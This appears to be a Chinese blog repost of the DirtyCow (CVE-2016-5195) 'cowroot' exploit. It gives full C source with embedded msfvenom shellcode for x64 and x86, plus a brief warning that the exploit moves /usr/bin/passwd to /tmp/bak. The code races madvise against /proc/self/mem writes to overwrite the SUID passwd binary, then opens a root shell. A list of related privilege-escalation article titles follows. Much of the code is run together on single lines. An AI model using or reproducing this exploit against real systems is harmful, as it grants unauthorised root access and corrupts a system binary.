来源:https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

编译运行以下代码成功后会把/usr/bin/passwd移动到/tmp/bak, 如果不改回去开机可能有问题

/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*
* @robinverton
*/#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/void *madviseThread(void *arg)
{char *str;str=(char*)arg;int i,c=0;for(i=0;i<1000000 && !stop;i++) {c+=madvise(map,100,MADV_DONTNEED);}printf("thread stopped\n");
}void *procselfmemThread(void *arg)
{char *str;str=(char*)arg;int f=open("/proc/self/mem",O_RDWR);int i,c=0;for(i=0;i<1000000 && !stop;i++) {lseek(f,map,SEEK_SET);c+=write(f, str, sc_len);}printf("thread stopped\n");
}void *waitForWrite(void *arg) {char buf[sc_len];for(;;) {FILE *fp = fopen(suid_binary, "rb");fread(buf, sc_len, 1, fp);if(memcmp(buf, sc, sc_len) == 0) {printf("%s overwritten\n", suid_binary);break;}fclose(fp);sleep(1);}stop = 1;printf("Popping root shell.\n");printf("Don't forget to restore /tmp/bak\n");system(suid_binary);
}int main(int argc,char *argv[]) {char *backup;printf("DirtyCow root privilege escalation\n");printf("Backing up %s to /tmp/bak\n", suid_binary);asprintf(&backup, "cp %s /tmp/bak", suid_binary);system(backup);f = open(suid_binary,O_RDONLY);fstat(f,&st);printf("Size of binary: %d\n", st.st_size);char payload[st.st_size];memset(payload, 0x90, st.st_size);memcpy(payload, sc, sc_len+1);map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);printf("Racing, this may take a while..\n");pthread_create(&pth1, NULL, &madviseThread, suid_binary);pthread_create(&pth2, NULL, &procselfmemThread, payload);pthread_create(&pth3, NULL, &waitForWrite, NULL);pthread_join(pth3, NULL);return 0;
}

LINUX的“脏奶牛”相关推荐

  1. 刷脏页策略linux,【随笔】Linux刷脏页

    一.脏页的由来 前情摘要: 1. 在多级存储系统中,上一级高速设备会成为下一级低速设备的缓存.相较之内存,磁盘是一个低速设备,因此Linux中会通过一种叫"磁盘高速缓存"的软件机制 ...

  2. linux “大脏牛”漏洞分析(CVE-2017-1000405)

    一.背景简介 脏牛漏洞(CVE-2016–5195)是公开后影响范围最广和最深的漏洞之一,这十年来的每一个Linux版本,包括Android.桌面版和服务器版都受到其影响.恶意攻击者通过该漏洞可以轻易 ...

  3. Linux利用脏牛漏洞提权

    实验环境:Centos6.5.ssh 实验步骤: 一.搭建实验环境 1.利用ssh连接Centos进行远程操作,在Centos6.5上安装http和php,输入yum -y install httpd ...

  4. 【内网—权限提升】——linux本地提权_脏牛漏洞提权

    文章目录 一.实验目的: 二.工具: 三.实验环境: 四.漏洞说明: 1. 原理: 2. 漏洞成因: 五.环境准备: 1. 安装Apache及php环境: 2. 安装gcc编译器(C语言编译器): 2 ...

  5. sysctl优化linux网络

    引自:http://blog.chinaunix.net/space.php?uid=20746343&do=blog&id=730129 sysctl优化linux网络   1, 优 ...

  6. DAY28:Linux、Windows 系统提权

    DAY28:Linux.Windows 系统提权 1.Linux 系统提权 1.1.Linux 系统版本 linux发行版本: • centos • redhat • ubuntu • kali 1. ...

  7. oracle tps 性能,Oracle性能究极优化 下

    正在看的ORACLE教程是:Oracle性能究极优化 下. 我们有理由相信采用新的内核版本(2.2.16-3 smp)也应该有性能的提升: OS2: Newer minor version kerne ...

  8. [渗透测试]Vulnstack 红队(三)

    环境配置 网络拓扑图(仅供参考) 攻击机: kali ip:192.168.111.5靶机:web-centos 外网ip:192.168.111.10 内网ip:192.168.93.100web1 ...

  9. 关于Docker逃逸

    关于Docker逃逸 文章目录 关于Docker逃逸 前言 一.判断是否为docker容器? 二.privileged特权模式启动容器逃逸 三. Docker Remote API未授权访问逃逸 四. ...

最新文章

  1. 【python cookbook】【字符串与文本】5.查找和替换文本
  2. php读取三维数组,php 读取多维数组方法_PHP教程
  3. 操作系统 —— 内存管理
  4. linux 系统自动挂起,linux 系统挂起
  5. sklearn-preprocessing预处理数据的方法
  6. 【语法】NSMutableArray可变数组
  7. Atitit  如何让精灵控件运动
  8. 关于被隐藏的文件夹无法去掉隐藏的属性
  9. 前端处理订单支付超时
  10. 50道MySQL面试题,掌握之后你将获得无上法力,一发不可收拾!
  11. OpenCV 将单通道转换为三通道
  12. numpy中的log和ln函数
  13. 网站服务器怎么做防御?遇到攻击如何解决?
  14. 读取CDATA的方法
  15. Unity开发OpenXR | (二)使用 OpenXR 制作一款简单VR示例场景 的全过程详细教程,包含两个实战案例。
  16. 求sin(x)的近似值
  17. 借贷期末余额 oracle,期初余额和期末余额的借贷方是一样的吗
  18. 系统分析与设计 - Chapter 1 系统分析与设计概述(思维导图)
  19. 微信小程序导航功能的实现
  20. 很久之前的诗三首,系列诗,听一个MM得,发到这里.

热门文章

  1. springboot-mail
  2. java中构造器快捷方式_java 构造器 (构造方法)
  3. easyui树拖拽排序java_项目中集成Easyui-Tree,可拖拽更新节点
  4. 梦幻手游最新服务器,梦幻西游手游12月18日新服务器开服公告
  5. 在html中加动画效果,html5中css3新添加的动画效果
  6. java常用类的方法,java常用类的使用方法
  7. python3.7用法_Python 3.7中dataclass装饰器用法详解
  8. 漫画 | 这样的男朋友,让我分分钟想剖腹自尽!
  9. 大厂面试又崩了?这份CV资料请收好!
  10. 13 个适合『中级开发者』练手的项目